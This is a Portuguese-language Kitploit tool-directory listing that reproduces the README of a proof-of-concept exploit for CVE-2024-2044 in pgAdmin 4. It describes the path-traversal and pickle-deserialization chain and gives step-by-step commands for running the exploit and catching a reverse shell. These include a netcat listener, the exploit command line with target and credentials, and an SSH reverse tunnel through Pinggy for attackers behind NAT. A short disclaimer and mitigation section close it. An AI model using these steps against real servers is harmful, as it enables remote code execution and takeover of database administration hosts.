Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-2044 — PoC em Python que explora a CVE-2024-2044 no pgAdmin 4 (<=8.3) por meio de path traversal autenticado e desserialização insegura de pickle para obter execução remota de código e reverse shell. | Kitploit
Ferramentas/GitHubGitHub/hanzzly/cve-2024-2044
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoSegurança WebTestes de PenetraçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

PoC em Python que explora a CVE-2024-2044 no pgAdmin 4 (<=8.3) por meio de path traversal autenticado e desserialização insegura de pickle para obter execução remota de código e reverse shell.

há 19h 5mAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC CVE-2024-2044: pgAdmin 4 RCE Autenticado (Linux/POSIX)

Este repositório contém um script Proof of Concept (PoC) para CVE-2024-2044, uma vulnerabilidade crítica que combina Authenticated Path Traversal e Unsafe Deserialization no pgAdmin 4 (versões 8.3 e anteriores) executando em ambiente Linux/POSIX.

[!WARNING] DISCLAIMER: Este código foi criado apenas para fins educacionais, pesquisa de segurança e testes de penetração autorizados (authorized pentesting). O uso indevido deste código para atacar alvos sem autorização por escrito é uma ação ilegal e viola a lei.


Descrição da Vulnerabilidade

No pgAdmin 4 em modo servidor em ambiente Linux, o gerenciamento de sessão é armazenado na forma de arquivos locais. A vulnerabilidade ocorre porque a função FileBackedSessionManager.get() aceita o valor do cookie HTTP pga4_session e o concatena ao caminho do diretório usando os.path.join sem sanitizar caracteres de manipulação de caminho (../).

Este script PoC explora essa falha com o seguinte fluxo:

  • Autenticação: Realiza login automático usando credenciais válidas para obter uma sessão ativa e contornar o token CSRF.
  • Upload de Payload: Utiliza o utilitário Storage Manager integrado para enviar um objeto Python pickle malicioso contendo um comando de Reverse Shell. Este arquivo é armazenado sob o diretório de armazenamento do usuário (ex.: /storage/nome_usuario/).
  • Trigger Path Traversal: Envia uma requisição HTTP de volta para /login manipulando o cookie pga4_session para um caminho relativo apontando para o arquivo pickle enviado (ex.: ../storage/nome_usuario/file.pickle!). O caractere ! é usado para se adequar à busca de extensão de arquivo de sessão no pgAdmin 4.
  • Execução de Código (RCE): O servidor pgAdmin 4 é enganado para ler o arquivo e processá-lo com pickle.loads(). Como resultado, o payload executa um processo Python separado (detached) que lança um Reverse Shell para o atacante.

  • Pré-requisitos (Prerequisites)

    • Alvo: pgAdmin 4 <= 8.3 (Server Mode) executando em Linux/POSIX.
    • Acesso: Requer uma conta de login válida (Username & Password).
    • Dependências do Script: Python 3 e a biblioteca requests.

    Guia de Uso

    Opção A: Usando IP Público Direto (Local/VPN)

    1. Abra a porta do netcat na sua máquina para receber a conexão do reverse shell:
      root@kitploit:~
      nc -lvnp 4444
      
    2. Execute o script de exploração:
      root@kitploit:~
      python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
      

    Opção B: Usando Port Forwarding (Pinggy.io)

    Se a sua máquina estiver atrás de NAT/Router e precisar de tunnelling público, você pode usar o serviço Pinggy.io com os seguintes passos:

    1. Execute o Netcat Listener Local

    Inicie o nc na máquina local primeiro usando a porta de sua escolha (ex.: porta 1337):

    root@kitploit:~
    nc -lvnp 1337
    

    2. Execute o Pinggy Tunnel

    Abra um novo terminal e execute o comando SSH do Pinggy. Certifique-se de que a porta local no final (1337) corresponda à porta nc que você iniciou anteriormente:

    root@kitploit:~
    ssh -p 443 -R0:localhost:1337 [email protected]
    

    Após conectar, o Pinggy fornecerá uma URL pública TCP, por exemplo: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

    Nota: A porta pública obtida do Pinggy é 43143 (Esta será o -lport posteriormente).

    3. Descubra o IP Real do Pinggy (Obtendo o LHOST)

    O servidor pgAdmin 4 alvo requer o formato de endereço IP real para a conexão socket do reverse shell. Faça um nslookup no domínio da sua URL do Pinggy:

    root@kitploit:~
    nslookup ubylm-103-79-246-198.run.pinggy-free.link
    

    A saída mostrará o IP público do servidor Pinggy (escolha o IPv4 na seção Address mais acima):

    root@kitploit:~
    Non-authoritative answer:
    ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
    Name:   lin.ap.12.a.pinggy.click
    Address: 172.236.148.125
    

    Da saída acima, obtém-se o IP real do Pinggy: 172.236.148.125.

    image

    4. Execute o Script de Exploração

    Execute o script PoC inserindo o IP resultante do nslookup como -lhost e a porta pública do Pinggy como -lport:

    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
    
    image
    image

    Parâmetros de Opção do Script

    • -t, --target : URL do alvo pgAdmin 4 (Obrigatório).
    • -u, --username: Email/Username de login (Padrão: [email protected]).
    • -p, --password: Senha de login (Padrão: player123).
    • -lhost : Endereço IP do atacante / IP resultante do nslookup do Pinggy (Obrigatório).
    • -lport : Porta do listener do atacante / Porta pública do Pinggy (Obrigatório).

    Mitigação

    Esta vulnerabilidade foi corrigida no pgAdmin 4 versão 8.4. Se você gerencia um servidor vulnerável, tome as seguintes ações imediatamente:

    1. Atualize o pgAdmin 4 para a versão 8.4 ou mais recente.
    2. Restrinja o acesso de rede ao painel do pgAdmin 4 usando VPN ou Firewall Whitelist.
    3. Certifique-se de que o processo do pgAdmin 4 seja executado com privilégios de usuário comum (non-root).
    Baixar ferramenta